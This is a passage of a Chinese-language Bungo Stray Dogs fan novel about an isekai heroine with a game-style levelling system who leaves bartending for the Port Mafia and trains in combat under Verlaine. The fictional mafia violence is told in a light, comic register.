《[文野]不恋爱就只能战斗了！》
1. 第一章
泉飞鸟很苦恼。
她穿着酒保服，用优雅而熟练的动作擦拭着手里的玻璃酒杯，思绪逐渐飞远。
“小姐~酒保小姐~”
耳边传来轻柔甜腻的男声，泉飞鸟全当没听见，继续沉浸在自己的世界里。
她被卡车创死之后，穿越到这个被称为“文豪野犬”的世界已经有小半年。
很不幸，她对原作剧情一无所知，也没什么文学素养。
但是唯一的好消息是，她有个穿越女必备的系统，多少能有点安慰。
当然，也只是一点点安慰而已。
系统名为救世主系统，来历不明。
人工智障的客服表示这个世界马上就要毁灭啦！把半死不活的泉飞鸟抓到这个世界就是希望她拯救世界！
泉飞鸟对此表示：让我拯救世界？真的假的？
她这种小废物光是活下去就已经很努力了哎，拯救世界这种大活怎么能让她来整呢！
言归正传，飞鸟现在烦恼的是其他问题。
“酒保小姐真的好过分啊，你亲爱的顾客都这么深情地呼唤你了，你都不理人。”
声音再次响起时，飞鸟停下手里擦拭的动作，举起锃亮的玻璃杯在灯光下照了照，确认没有任何污渍后心满意足地放回架子上。
她转头看向说话的人。
黑发鸢眼的少年懒洋洋地趴在吧台上，漫不经心地拨弄着玻璃杯里的冰球。
太宰治。
飞鸟在心里重复了一遍这个名字。
垃圾系统不靠谱，鬼知道她半年之前身无分文地出现在深夜的横滨街头有多绝望。
她都没时间想拯救世界的事情，光顾着打几份工养活自己，其中Lupin酒吧的临时酒保就是其中之一。
老板知道她是孤儿，向来很照顾，甚至会多付一点薪水给她，老板对她的好飞鸟都记在心里。
而这个名为太宰治的少年和他的朋友织田作之助，坂口安吾，这三人是酒吧的常客。
......同时也是系统标注的重要人物。
泉飞鸟叹了口气，露出标准的营业笑容。
“这位客人，有什么需要吗？”
拯救世界一般也就两种路子，要么当先知，只要熟知原作剧情，总能找到漏洞规避坏结局，可惜这路她走不了。
要么就是成为世界最强，只要足够强大，就能干碎一切阴谋诡计，这怎么不算是拯救世界的好方法呢？
系统对她的第二条路表示肯定，并给出两种方法。
获取系统标注出来的重要角色的好感度，或者通过战斗来获得经验值，这两种方法都能变强。
“我要一杯煤油加可乐。”
“没有那种东西。”
泉飞鸟学着店长平时的神态，微笑着拒绝。
“哎~连煤油都没有吗？”
太宰治转了转眼睛，勉为其难地点点头：“那就来一杯洗洁精！冰加满！”
“也没有那种东西。”
泉飞鸟保持着微笑，咬牙切齿。
“那就这样吧！”
太宰治一下子坐直了，语气欢快，但酒吧昏暗的灯光也照不亮他暗沉沉的鸢色眼睛：“飞鸟小姐愿意翘班和我出去约会吗！”
“......”
飞鸟保持着微笑，点开了系统的角色好感度数据。
页面只有三个角色，其中太宰治位居第一，他的名字后面是已经爆表的黑色数据条，红色表示喜爱，黑色当然就是厌恶。
太宰治，对她的好感度已经跌破谷底，还要邀请她出去约会。
可恶，这个心机男！她从来都没做过对不起他的事情哎！不给他洗洁精就这么记恨她吗！
他绝对是想把她骗到哪个巷子里暗杀掉！
飞鸟心里流着宽面条眼泪，脸上不敢显露分毫。
店长跟她隐晦地提起过，这几位都是不太好惹的角色，她真怕对方一个不高兴就“咔嚓”把她解决掉了。
她好歹也是玩过不少攻略游戏的女人，也是真心实意地想跟他们做朋友啊！为什么会变成这样子！
“哎——”
太宰拉长了声音，似乎还想说什么，被走下台阶的人打断了。
“太宰，不要欺负飞鸟。”
织田作之助和坂口安吾是一起来的，铁锈色头发的青年身上还带着淡淡的硝烟味，一看就是刚结束工作回来。
“如果在工作时间翘班出去，是会被扣工资的。”
“不不不，重点明显不是这个吧。”
坂口安吾在吧台边坐下，摘下眼睛擦了擦：“重点难道不是太宰居然会邀请泉小姐去约会吗？”
他转头看向飞鸟，礼貌颔首：“我还是和之前一样，麻烦你了，泉小姐。”
“啊，太宰也到了这个年纪了。”
织田作之助恍然大悟，他看向泉飞鸟，蓝色的眼睛里是属于成年人的靠谱和稳重：“如果太宰想做什么不太好的事情，可以打电话给我，我会帮你把他打晕的。”
“安吾就算了，连织田作都这么说。”
太宰抹了抹不存在的眼泪：“我可是真心实意很喜欢飞鸟小姐啊。”
很明显，就连作为太宰治朋友的织田作之助和坂口安吾都觉得他只是在开玩笑，更不要说当事人泉飞鸟本人了。
她只觉得背后发冷。
泉飞鸟看了看系统好感度页面，另外两个人的数据虽然不像太宰治那么爆棚，黑色的进度条也很高。
......完全被讨厌了啊，明明这两个人平时对她也很友善很礼貌啊。
这个冷酷无情的世界真的一天都待不下去了！
破系统，还说什么提高好感度变强这个路线超级轻松，根本就是骗人的！
根本遇不到重点角色不说，难得遇到的三个还都这么讨厌她。
如果她没想着偷懒，一开始就直接走战斗变强的路线，现在就不用唯唯诺诺不敢吭声，早就一拳打爆所有人的狗头了！
泉飞鸟努力地忍了又忍，不想在这群讨厌她的人面前露出任何软弱的神态。
没忍住。
她吸了吸鼻子，狠狠地抹了几下眼睛，转身过去拿酒了。
“......太宰，你把泉小姐惹哭了，快道歉。”
“哎？明明是安吾的错吧。”
“无论怎么看都是你的问题吧！”
“那就是因为织田作看起来太凶了，吓到飞鸟小姐了。”
“是这样吗？抱歉，飞鸟。”
“织田你别顺着太宰的话往下说啊！你是无条件宠爱熊孩子的熊家长吗！”
*
Lupin酒吧的下班时间是凌晨3点。
泉飞鸟虽然很爱偷懒，但一
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旦下定了决心就会充满行动力。
彻底放弃好感度路线后，她把系统调到了战斗界面，和普通的rpg游戏几乎没有区别。
【救世主：泉飞鸟
等级：lv0（0/10）
生命：1000（自动回复10/秒）
攻击力：100（有点力气，但不多）
技能：重击lv1，勘查之眼lv1】
……看起来好像还可以，很纯粹的战士。
泉千鸟告诉了老板自己要辞职离开的事。
老板虽然很担心，但也没多说什么，只是嘱咐她之后要注意安全，最近横滨也很不太平。
泉飞鸟超级感动，一想到她以后会打遍天下无敌手，心情就更好了。
她的好心情持续到走出酒吧后门，看到靠在墙边的太宰治为止。
“呦，飞鸟。”
太宰治敷衍地打了个招呼。
“……你怎么在这里。”
这个人早在四个小时之前，就大喊着“哎呀，垃圾上司又叫我去加班”，早早离开酒吧了。
飞鸟已经彻底抛弃刷好感，也懒得在这里摆着笑脸。
而且她真的好累！明天还要去找新工作！
“有事就说事，没事的话麻烦让让，我要回家睡觉了。”
她自认为已经说的很不客气了，却听到太宰笑了一声，声音比平时更加柔和。
……说实话，她其实很吃太宰治的声音和颜，试问谁不喜欢美少年呢？
只是之前她的关注点都在好感值上，没怎么注意其他，现在倒可以多看几眼。
“离开横滨吧，飞鸟。”
太宰治从阴影中走出来，突然开口道：“这里不是你该待的地方。”
泉飞鸟正在观察他脸上那道浅浅的新鲜伤口，反应慢了一拍：“哦……啊？”
什么玩意？
什么叫这里不是她该待的地方，她可是要拯救世界的女人！
泉飞鸟很生气，她一气之下……给太宰拍了个侦查。
【太宰治
等级：lv65
生命:？？？
攻击力:400
技能:？？？】
……打不过啊，那不生气了。
泉飞鸟迅速安慰好了自己，态度要多良好有多乖巧：“好的，我今晚就走。”
开玩笑，区区一个太宰而已，虽然他等级确实高了那么一点点，他让她走她就走啊！
那岂不是超没面子！
泉飞鸟动作麻利地跑路了。
太宰治站在原地，注视着那道再熟悉不过的背影逐渐远去。
泉飞鸟跑了两步，像是突然想起了什么，又迅速折返回来，从口袋里掏出了什么东西塞给太宰。
做完这一切后，泉飞鸟的身影迅速消失在了横滨的夜色里。
太宰治伸手张开手掌，手心里是一张皱皱巴巴的创口贴，上面还有可爱的图案。
“……”
太宰攥紧了手。
*
第二天早上十点半，泉飞鸟准时出现在港口Mafia的大楼下。
她！是来参加港口Mafia每周一次的新人招聘的！
要问什么工作又能战斗又能赚钱，那不就只有Mafia了吗！
泉飞鸟美滋滋地领了一张空白表格。
2. 第二章
“姓名？”
“安娜贝尔·贞子。”
负责登记新人信息的大叔用狐疑的目光看了她一眼：“你真的叫这个名字？”
泉飞鸟面不改色：“我是混血，我母亲是外国人。”
“这次我们不收外国人和混血儿。”
“你好，其实我叫泉贞子。”
“你刚刚不说你是混血儿吗？”
“我刚才是开玩笑的，嘿嘿。”
“……行吧。”
泉飞鸟是经过深思熟虑的。
好歹她已经“答应”太宰治要离开横滨，得起个正儿八经的假名隐姓埋名一下。
当然更重要的一点是，如果她突然出现在战场上，所有人一起高喊“贞子来了”或者“安娜贝尔来了”，光是听起来就超酷超有威慑力！
大叔上下打量了她几眼，敷衍地点点头：“你的话，去五楼报道吧。”
“哎？”
泉飞鸟疑惑地指了指自己：“我不用考核就能直接加入武斗派吗？”
她刚才排队的时候有仔细观察，前面几个人都和面试官简单来了两招，怎么到她这里就不用了。
面试官大叔震惊，嘴里的烟都掉了：“你难道不是来面试文职工作的吗？”
泉飞鸟不乐意了：“我看起来不像武斗派吗？”
完全不像啊！
大叔墨镜后的脸表情扭曲。
也不是没有女性要加入港口Mafia，但这姑娘细胳膊细腿没什么肌肉不说，脸色也惨白的要命，感觉马上就要倒在他面前了。
大叔一言难尽地拍了拍泉飞鸟的肩膀：“听哥一句劝，干文职挺好的，不仅工资高，还不用上战场......”
她话还没说完，被泉飞鸟昂扬地打断了：“大叔，你真是个好人！”
脸色惨白（熬夜认真研究战斗面板）的少女眼睛亮晶晶的：“可惜我有必须要做的事情，一定要加入武斗派才行！”
“拜托啦，让我加入吧！就算在战场上死掉也没关系的！”
“......”
大叔张了张嘴，想说什么却没说出口。
他想，这孩子一定有什么了不起的志向，才会有这种坚定的眼神。
“嗯？”
见大叔沉默着不说话，泉飞鸟转了下眼珠子，注意到不远处的墙角堆着一堆板砖，大概是哪里有破损特意准备的修缮材料。
她蠢蠢欲动，准备证明一下实力。
空手劈板砖？还是胸口碎大石？要不直接捞起板砖往脑袋上砸吧？
泉飞鸟正准备实施脑海中的危险想法，大叔已经死死按住她的肩膀，压低了声音：“贞子，接下来的话你听好，千万不要告诉其他人，我知道你肯定是实在没有其他办法，才会来加入港口Mafia的。”
“......？”
哦对，贞子是她的新代号。
“横滨马上就要不太平了，你现在这个小胳膊小腿真上战场估计都活不过一天。”
泉飞鸟点点头，对此表示肯定。
她这不是还没开始嘛！
“听大叔的建议，你先老老实实干几天文职工作，这周末晚上到@#￥%…训练场来，我教你几招保命的招式。”
什么训练场？哪里的训练场？？
旁边正好有人被踢飞，正大声叫痛，完全压过了关键词。
泉飞鸟能感受到大叔语气中的善意，只可惜大叔是个急性子，匆匆忙忙说完就直接把她往大楼的方向一推。
“贞子，你要多活几天，活着才好啊！”
“不是，我没......”听清楚啊！
“闭嘴少说话！快进去！”
*
泉飞鸟顺利入职，成为了后勤部的文员。
“我们后勤部的人只要记住两件事，不要往危险的地方跑，不要去接触武斗派的那些人！”
新上司是个雷厉风行的大姐，姓氏是神田，她一看到泉飞鸟就两眼放光。
“你就是贞子是吧，可总算盼到你了！”
没有其他什么原因，后勤部真的太缺人了！
港口Mafia再怎么样都是个□□组织，很少有接受过良好教育的人选择这里。
那群天天只知道打打杀杀的绝望文盲还经常抱怨！
“小乖乖，你长得这么可爱漂亮，一定要离那群牲口远一点！”
大姐的脸上充满了慈母的光辉。
“神田姐，我有个问题想问你。”
泉飞鸟像个小学生一样举起手提问：“……请问训练场的方向怎么走？”
“你刚刚说什么来着？”
成熟漂亮的大姐姐，露出了可怕的微笑。
“……姐姐你用的什么洗发水，味道好好闻，我也想买。”
结束一天的工作之后，泉飞鸟仍然不知道训练场的方向到底在哪。
大概是她之前暴露出的危险想法，神田大姐姐对她堪称严防死守，甚至喊了其他后勤部的姐姐来看守。
泉飞鸟痛苦并快乐着。
姐姐们都超级温柔，拉着人嘘寒问暖都不带重复的，但问题是她都没办法找时间研究如何变强。
工作不算忙，基本上就是整理仓库的数据，但她一直到临近下班的时间才喘口气。
终于从大姐姐们的甜蜜包围中逃脱的泉飞鸟在仓库里找了个角落猫着，研究自己的战斗面板。
昨天回家路上遇到了两个不长眼的小毛贼想抢她钱包，泉飞鸟穿越之前学过一点散打的皮毛，以一敌二拯救了自己的钱。
经过这次短暂的战斗，她对自己的能力有了点了解。
一旦泉飞鸟确认进入战斗后，双方会被拉入一个未知的空间，在空间内进行的战斗时间是静止的，除非泉飞鸟死亡或者主动结束，战斗将会持续进行。
进入空间后，双方的身体素质和能力将会彻底数值化，泉飞鸟的攻击力比那两个混混要高，生命却低一截。
最重要的一点是，系统客服表示只要生命不清零，她就不会死，断手断脚都能重新长回来。
泉飞鸟从系统那边得知这一特性后半信半疑。
她还挺怕痛的，也很担心自己手起刀落真成了个残疾人，昨晚只是稍微试验了一下，只切了一点点。
……就是流血流得多了点，今天早上起来脸都是白的。
泉飞鸟蹲在角落里，盯着仓库架子上的匕首发呆。
昨天那两个人只给她提供了四点经验值，今天去哪里找人打架呢？
她正想着，外面突然传来急促的敲门声和不耐烦的呼喊：“有人吗？后勤部的在不在，人呢？”
叫叫叫，叫魂啊！
泉飞鸟慢吞吞的站起来挪到门口，外面是个穿着黑西服的瘦高
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个，他手里抱着一只装满了各种冷兵器的木箱子。
“新人？我是武斗一组的山下。”
山下看了眼泉飞鸟的胸牌，把箱子放在地上往里推了推。
“你们后勤部果然都很闲，真羡慕你们啊。我要急着出外勤，你把这箱子武器送到地下训练场去。”
泉飞鸟翻了个白眼：“难怪我今天参观总部的时候，遇到的每个人都说你们武斗一组的效率最低，任务完成的最差，原来你们是把精力都放在观察别人身上了？”
“你你你，你一个后勤在这说什么风凉话呢！”
山下气得要死：“谁说我们一组最差？！我要去把那个传谣言的人揍一顿！”
泉飞鸟忽略了他的问题：“送东西可以啊，我是新人我不知道，你说说那训练场在哪里？”
正好遇上一个认识路的，可不能放过。
山下还想说什么，突然响起的电话铃声打断了他的话，电话里传来催促的声音。
他气急败坏地骂了一句“傻逼领导”，把前往地下训练场的路线和方法一股脑告诉泉飞鸟之后就急匆匆跑掉了。
现在已经是黄昏，后勤组的人已经下班，武斗派的人大多出外勤去了，大楼走廊空空荡荡。
泉飞鸟抱着那箱子武器，顺着山下指出的路线坐上电梯，很快就抵达了地下。
“不愧是大企业，哦不，大组织，地下都挖的这么大吗？”
通往那个所谓的地下训练场的路出乎意料的复杂，中途好几次还要刷身份卡，泉飞鸟一边走在空荡的路上，一边小声吐槽。
山下也没告诉她这箱子东西到底要放在哪，泉飞鸟只能顺着路一直走，可惜一路都没遇到什么活人。
“滴，员工卡。”
再次进入一扇门后场景终于发生了变化，映入眼帘的是一座豪华坚固的训练场，周围的墙壁上依稀可见各种冷兵器的划痕。
飞鸟把一箱子武器放下，四处乱看。
那个负责招聘新人的大叔原来这么牛逼的吗，找到这么个好地方叫她几招？
“新人？”
空荡安静的训练场里，突然响起一道陌生的声音，泉飞鸟下意识紧绷了身子，看向发出声音的地方。
金发的美男子正倚靠在藤椅上，手里还握着一本翻开的书籍，似乎是法文？
泉飞鸟后退一步，从箱子里摸了把匕首，谨慎地拍了个侦查。
【？？？
等级：？？？
生命：？？？
攻击力：5000
技能：？？？】
泉飞鸟当即在心里一句卧槽，攻击力5000？！
这一个平A她就直接去世了吧！
这破侦查什么都看不出到底有什么用？
“不回答吗？”
金发美男子自顾自往下说着，他的发音优雅而矜持：“……那就是入侵者？”
泉飞鸟只是一晃神，原本坐在藤椅上的人已经不见了，只能看到精致金色发辫闪过的残影。
她暗叫一声不好，果断选择放弃硬刚，后退两步大喊出声。
“大佬！我是你素未谋面的新学生啊！饶命啊——”
冷兵器的尖端停在泉飞鸟的眼珠前。
金发的美男子站在她面前，垂眸看她，他冰蓝色的眼睛像是死寂的大海。
“……学生？”
3. 第三章
一滴冷汗顺着泉飞鸟的脸颊淌下来，她眼睛都不敢眨，全身肌肉紧绷，紧盯着面前人的动静。
如果对方打算再动手的话，她……其实也没有什么办法，毕竟对方的实力超出她太多了。
这种生死关头，泉飞鸟的内心却异常冷静，甚至有点隐约的兴奋。
如果这次能侥幸不死的话，她以后也有机会成为这样的强者吗？
对面的金发男人嗤笑一声，收起了武器，转身走向还在缓慢摇晃的藤椅。
他其实有着让人见之难忘的俊美外表，但发起攻击时就像一柄凌厉纯粹的武器，光是强大的气势就能让人动弹不得。
“东西放到角落。”
金发男人理所当然地吩咐道：“我从不收学生，你可以走了。”
泉飞鸟眨巴了下眼睛。
直觉告诉她，对方已经没有再动手的意思了。
“大佬大佬！”
泉飞鸟就当刚才的生死危机完全没发生过，屁颠屁颠凑过去：“您刚才那一招真的好厉害啊！您是这个训练场的教官吗？我能不能知道您的名字啊？”
她围着藤椅转来转去，像是一只活蹦乱跳甩着尾巴的小狗。
“您这么厉害的人不收学生也是很正常的事情嘛！我来当您的跟班也可以！保证您说啥我做啥！”
金发男人重新拿起那本书，没理她。
泉飞鸟瞄了眼他的脸色，夹着嗓子开始装模作样地抹眼泪。
“今天是我加入港口Maifa的第一天，其他不安好心的同事欺负我，让我来这里送东西。”
“但是没关系！正因为如此我遇到了您这么完美而强大的人！”
泉飞鸟深情（伪）地眨了眨眼：“至少告诉我您的名字！我一定会铭记于心！”
感觉对方的忍耐度还挺高的，她都这么胡说八道了也没生气。
如果可以的话，她绝对要像鬼一样死死缠着这个人，从他身上偷师学几招。
保罗·魏尔伦抬头看向泉飞鸟。
他的神情是一种高高在上的倨傲，仿佛什么都入不了他的眼，泉飞鸟这个大活人和旁边一把卷刃的匕首似乎也没什么本质上的区别。
都是一样的垃圾，后者的价值可能还更高一点。
魏尔伦笑了笑：“森鸥外让你过来的时候，没告诉你我是谁吗？”
这座地下的秘密囚室，可不是随随便便什么人就能来的。
没有森鸥外的许可，在第一道大门就会被拦住了，更不用说后面的重重监控封锁。
泉飞鸟一愣，露出了“==”的表情，看起来有点蠢。
魏尔伦皱了皱眉，有种不太好的预感。
“虽然很冒昧，但是请允许我多问一句。”
想了又想，实在没想起来的泉飞鸟小心翼翼地询问道：“……森鸥外是哪位？”
她怎么不知道这么个人？
“……”
两个人大眼瞪小眼了一会。
魏尔伦对上泉飞鸟认真疑惑又无辜清澈的眼神，忽然感受到一阵荒谬的无力。
“港口Mafia的新人，连首领的名字都不知道吗？”
啊？她不造啊？
泉飞鸟有点心虚，入职新人培训的时候她在考虑找训练场的事情，确实没怎么认真听。
但对上金发男人微妙的眼神，她又理直气壮起来。
刚入职的新人不知道首领名字不也很正常嘛！
“没关系！”
泉飞鸟完全没把这点小事放在心上，豪迈地一挥手：“我反正不可能运气差到出门就撞上首领还认不出来的！”
“你可以称呼我为魏尔伦。”
魏尔伦沉默地看了泉飞鸟一会儿，年纪不大的少女没有对这个名字做出任何不对劲的反应，应该是真的没有听说过他。
……至少那一脸傻笑的样子，不像是装的。
他刚才一度认为泉飞鸟是森鸥外特意派来的，现在看来就是他想多了。
——这个新人只是单纯的脑子有点问题而已。
魏尔伦微微偏过头，瞥向训练场某块隐秘的天花板，那后面有持续运作的监控，直接显示在首领办公室的屏幕上。
他不在意，不代表他不知道。
森鸥外又在耍什么伎俩？
*
“还是太弱了。”
泉飞鸟甚至还没反应过来，握着武器的手已经被魏尔伦死死抓住。
她只觉得一阵天旋地转，武器被掀飞，脸再次被按在冰冷的地面上，手臂传来熟悉的疼痛感。
……哎，又骨折了。
泉飞鸟苦中作乐地想着。
这已经是她这周的第二十一次骨折了，就连回血的速度都因为频繁受伤而增加了不少。
“起来，别躺在地上装死。”
魏尔伦双手抱胸，居高临下的看着她：“再躺下去，你的骨折都要好了。”
他是那种“再不爬起来就送你下地狱”的威胁语气。
泉飞鸟苦哈哈地爬起来，她甚至都还没来得及擦一把头上的血，让人毛骨悚然的恐怖攻击就再次对准她的要害袭来。
她几乎是靠着身体本能，在地上一个翻滚躲开这一击，骨折已经迅速痊愈的手重新捡起武器，架住了魏尔伦的匕首。
空荡的训练场回荡着武器碰撞的脆响。
泉飞鸟再被掀飞到角落的时候，终于听到了那句仿佛天籁的话。
“今天先到这里。”
原本躺在墙角装作昏过去的泉飞鸟一个鲤鱼打滚站起来，活蹦乱跳地凑到魏尔伦旁边：“好好好！”
魏尔伦笑了笑。
“等下加训。”
“……您怎么能用这么一张美丽的脸说出这么冰冷的话？”
泉飞鸟痛心疾首。
事情到底为什么会变成这样？
她那天晚上见过魏尔伦大佬之后，第二天又屁颠屁颠跑过来，想偷师。
对此，对方给出的答案是把她暴打了一顿，完全没有任何手下留情。
按照泉飞鸟那时候的感觉，对方虽然暂时没下死手，却完全是在扮演着狩猎者的角色，肆意玩弄着送上门来的猎物。
似乎等玩够了，彻底失去兴趣了，就直接解决掉。
——不过事情很快发生了转机。
泉飞鸟有回血，不至于彻底起不来，但精神上的疲惫却无法避免。
她因为闪躲不及时，被刺中了左眼。
被扣的生命值其实不算多，回复得挺快，但伤口实在是太痛了，这还是泉飞鸟第一次受这么重的伤。
对面的魏尔伦也停下了动作。
“痛痛痛痛痛……”
坏掉的眼珠重新生长的感觉还挺奇妙的，泉飞鸟抹了把脸上的血，重新睁开眼睛的时候，就看到魏尔伦不知什么时候站在她面前。
这还是她第一次看到对方那张精致漂亮的脸上出现如此复杂的表情，夹杂着愤怒和不可思议。
“你是实验体。”
魏尔伦用的是肯定的语气。
“我不是。”
泉飞鸟摇摇头：“我就是个普通人。”
魏尔伦也没说信还是不信，只是听了这句话后，脸上的表情更奇怪了。
他没多说什么，让泉飞鸟赶紧走。
第二天，泉飞鸟就当没去过那个地下训练场，兢兢业业完成工作后准时下班，晚上游荡在横滨找小混混练手。
开玩笑，她虽然确实很馋从魏尔伦那里偷师过来的战斗技巧，那也得有命学才行。
对方那个架势，感觉随时能把她给杀了。
……她可不敢用自己的小命去拼。
度过了充实而完美的一晚厮杀后，泉飞鸟在第三天早上卡点到达黑色大楼，打卡后准备去后勤部继续上班。
她走进电梯跟同事打了招呼，电梯门正要关上，不知从哪里窜出来一个黑色影子，“扑通”一下就在她面前跪下了。
泉飞鸟倒退一步，大惊失色：“现在都流行你这种正
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大光明的碰瓷了吗？！”
就算是在港口Mafia也不能如此道德败坏啊！
良心在哪里？规则在哪里？首领投诉信箱又在哪里？她要告到顶楼！
那个身高绝对超过一米八的壮汉开始抱着她的大腿哭。
“你就是三天前才入职的泉贞子吧！”
壮汉呜呜嘤嘤哭得好不伤心，很是辣眼睛。
“……”
泉飞鸟陷入了沉默。
电梯里的其他同事互相对视一眼，彼此露出了你知我知，天知地知的微笑。
他们齐刷刷离开电梯，把空间留给了泉飞鸟。
在一众同事齐刷刷的目光洗礼中，泉飞鸟保持着微笑，电梯门缓缓合上。
“你哪位啊？”
她低头看向那个壮汉，有些无奈：“我应该没做什么伤害你感情的事吧？”
泉飞鸟一共才来了三天，连人都认不齐。
刚才还哭的梨花带雨的壮汉已经换了副冷漠的面孔，一切明显的情绪都在他脸上隐去了。
这是属于精英暗杀者的气质。
“地下的那位大人，希望你去一趟。”
泉飞鸟歪了歪头。
“如果我说不呢？”
壮汉没说话，但某个冰冷的东西已经抵在泉飞鸟的心口，用行动给出了答案。
“……”
真该死啊，早知道就不该去的。
泉飞鸟硬着头皮点点头，下班后纠结着再次来到地下训练场。
再次看到熟悉的金发时，泉飞鸟只觉得已经长回来的眼睛还在隐隐作痛。
魏尔伦看到她，微微点了点头。
他像是被人夺舍一样，居然真的开始正儿八经教导她格斗技巧了！
*
【救世主：泉飞鸟
等级：lv10（15/200）
生命：2000（自动回复30/秒）
攻击力：200（你变强了，暂时还没变秃）
技能：重击lv3，勘查之眼lv2，暗杀者的潜行lv1】
泉飞鸟经过长达两周的魏尔伦·魔鬼训练之后变强了一点，不仅仅是体现在面板的数据上。
她和魏尔伦之间的关系也变好了。
虽然不是很明白，为什么对方态度突然发生这么大的转变，但她能确切的感受到魏尔伦是真的有把她当做学生来教导的。
当然，魏尔伦本人并不承认这一点，并且下起手来很不知道轻重。
他的战斗方式有种大开大合的直爽，一般也不怎么会收着力道，尤其是他发现泉飞鸟的回复能力在挨打后会有所上升，动起手来就更加凶残了。
“魏尔伦先生，我今天好不容易才休假一天的，您看？”
泉飞鸟苦着脸，试图让对方收回加训的决定，非常自觉地奉上提前排队买好的点心。
她知道魏尔伦先生是法国人，最近有位法国大厨在横滨开了新店，她特意跑去买的。
“加训。”
“哎呀，训练也是要劳逸结合的，我也得缓缓……”
“加训。”
“……”
泉飞鸟流下了悔恨的泪水。
她今天就应该翘了训练！
“今天晚上港口Mafia的武斗派有个外出任务，是个横滨的小组织。”
魏尔伦虽然身处地下从不离开，但似乎并不影响他的消息来源。
“你跟他们一起去，不要被任何人发现你的存在，并且在他们之前把那个组织的首领杀了。”
说完要求之后，魏尔伦不再多说什么，眼神示意泉飞鸟可以走了。
他重新在他熟悉的藤椅上坐下，沉浸到阅读里。
拿着毛巾擦血的泉飞鸟听完这次加训的要求就是一愣，她瞬间瞪大了眼睛，脸上露出蠢蠢欲动的可疑微笑，看上去像是准备搞破坏的傻狗。
这这这，这不就是在所有人面前正大光明地抢人头吗！
那真的是！太酷啦！
4. 第四章
这不是中原中也第一次注意到那个新人了。
“中原大人，这是新加入人员的名单，请您过目。”
下属把厚厚一叠人员资料交上来，身体素质出众或者是有异能力的新人，会被优先挑选。
港口Mafia一直都很缺人，毕竟在某些强大的异能力者面前，再多的普通人也没有用。
“好，你先把资料放在旁边吧。”
这种招新没过多久就有一次，中原中也没怎么放在心上，他正在纠结任务报告到底要怎么写。
属下把资料放下准备离开，中原中也的余光注意到他手里还有薄薄的，单独拎出来的一张纸。
“等等。”
中原中也叫住下属：“你手里那份是什么？”
难道这次招新有可圈可点的新人？
跟其他人比起来，性格直爽的中原中也无疑是个好上司，属下们也都不怎么怕他，他这一问，属下就一脸八卦的把那张纸拿过来。
“是新人，后勤部的新人啦！长得还挺可爱的！”
小小的照片上，有着浅粉发色的少女用那双灰蓝色的眼睛盯着镜头，正在发呆。
不过中原中也实际见到人的时候已经是几天之后了。
他不怎么八卦，但是架不住属下窃窃私语，经常吐槽后勤部那群可怕的女人把人护得太紧，他们都没机会和漂亮的新人小姐姐说话。
后勤部和武斗派的上班时间基本上错开，中原中也正巧完成任务，从外面回来，在大楼大厅遇到了正准备打卡下班的新人。
……是叫泉贞子是吧？
他不太确定地多看了两眼。
不知道为什么，总觉得这个人看上去还挺顺眼的，好像在哪里见过。
中原中也被自己这个想法恶心得一激灵。
和泉贞子擦肩而过的时候，中原中也突然发现了一个糟糕的事实。
去除帽子的话，她好像跟他差不多高。
他记得资料上的内容，泉贞子貌似比他还小一岁。
“……”
中原中也低下头，扶了扶自己的帽子，若无其事地进了电梯。
……说起来，最近倒是没怎么见过太宰那个混蛋，怪不得最近的心情都变好了。
想什么就来什么，电梯门缓缓打开，中原中也和正准备进来的太宰治撞了个正着。
他们在彼此的眼神中看到了满满的嫌弃。
中原中也双手插兜，不耐烦地“啧”了一声。
“呀，这不是中也吗。”
太宰神情恹恹，看起来比平时更疲惫：“果然满脑子只有打架的单细胞生物就是耗费氧气，光是和你待在同一个电梯里，我都要窒息了。”
“幸好我呼吸的空气位置比你高一点点，不然和蛞蝓一起憋死在电梯里也太恶心了。”
中原中也强忍住殴打太宰的冲动，如果在电梯里动手的话估计又要损坏公物了。
“闭上你的嘴，我还有得长呢！”
中原中也忍了又忍，还是没忍住反驳。
出乎意料的是，平时还会多嘲讽几句的太宰居然真的没再说话了。
中也这时候才注意到太宰看起来挺憔悴的，眼下还有淡淡的青色，看起来严重睡眠不足。
这家伙不是一向最喜欢偷懒摸鱼吗？
电梯里安静下来。
“首领让我告诉你，有空的话去选几个新下属。”
中原中也平复了心情，想起之前森鸥外说起的话，就连森鸥外都抱怨了几句，说太宰君最近老是找不到人，不知道跑到哪里去了。
“……那种废物根本就没有选的必要吧。”
太宰连桌子上积累的公务都懒得看，更不用说看看新人了。
*
中原中也再次看到泉贞子，已经是两周以后的事情了。
他这段时间忙的要死，还去东京出差了一趟，辅助文书工作的秘书升职到首领办公室去了，还得重新挑一个可靠的新秘书。
不擅长文书工作的中原先生好不容易涂写完出差报告，晚上还得出一趟外勤。
有个不
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入流的小组织不知道通过什么渠道，从意大利的老牌Mafia家族那里入手了一批强力的新型武器。
武器到手之后，这个小组织就飘了，竟然在横滨到处搞事情，甚至敢挑衅港口Mafia的威严，这无疑踩到了港口Mafia的底线。
原本只需要手下人清扫的任务，特意派出了非必要不会出动的干部候补。
中原中也倒是不太在意多跑这一趟，不过唯一值得在意的是，他带人出发去剿灭的时候，在任务目标附近的街区看到了泉贞子一闪而过的身影。
对方难得把头发盘起来，看上去干净又利落，身上穿着带兜帽的黑色卫衣，这是他还没看到过的新造型。
对方似乎也看到他了，向下扯了扯兜帽，看起来不太自然地转身离开，背影消失在横滨的夜色里。
“还挺适合她的……”
中原中也小声自言自语，旁边的下属没听清他在说什么，出声询问。
“有什么问题吗，中原大人？”
“不，没什么。”
中原中也迅速否认，但他又很快皱起了眉头。
这附近可不是和平安逸的商业区，最近这里经常发生组织之间的火拼，几乎没有哪个手无缚鸡之力的普通市民敢靠近。
……泉贞子来这里做什么？
*
泉飞鸟小心翼翼地再次隐藏自己的身形。
她是完全没想到，那位叫中原中也的干部候补居然如此敏锐，对方绝对是看到她了。
【暗杀者的潜行lv1:你具备暗杀者的基本素质，黑夜会降低你的存在感，他人对你存在感的认知降低30%（黑夜中为35%）】
泉飞鸟是一路开着技能悄悄跟过来的，和她擦肩而过的路人都没注意到她。
但她刚才只是多看了对方那头漂亮的橘发几眼，中原中也就似乎察觉到了她的视线，直接往她这边看过来。
……好可怕的战斗直觉，泉飞鸟深刻地反省了一下自己。
她得赶在对方前面把人解决掉。
5. 第五章
这个名为黑乌鸦的小组织是最近才出现在横滨的，之前似乎一直在东京范围活动。
泉飞鸟一路跟着港口Mafia的小队，逐渐靠近这个小组织的临时根据地，是一座已经废弃了很多年的研究所。
她在出发之前已经看过组织首领的资料，木间·理查德，美籍日裔，他在回日本之前效力于一家美国的医药公司，主要研究延长寿命方向的药品。
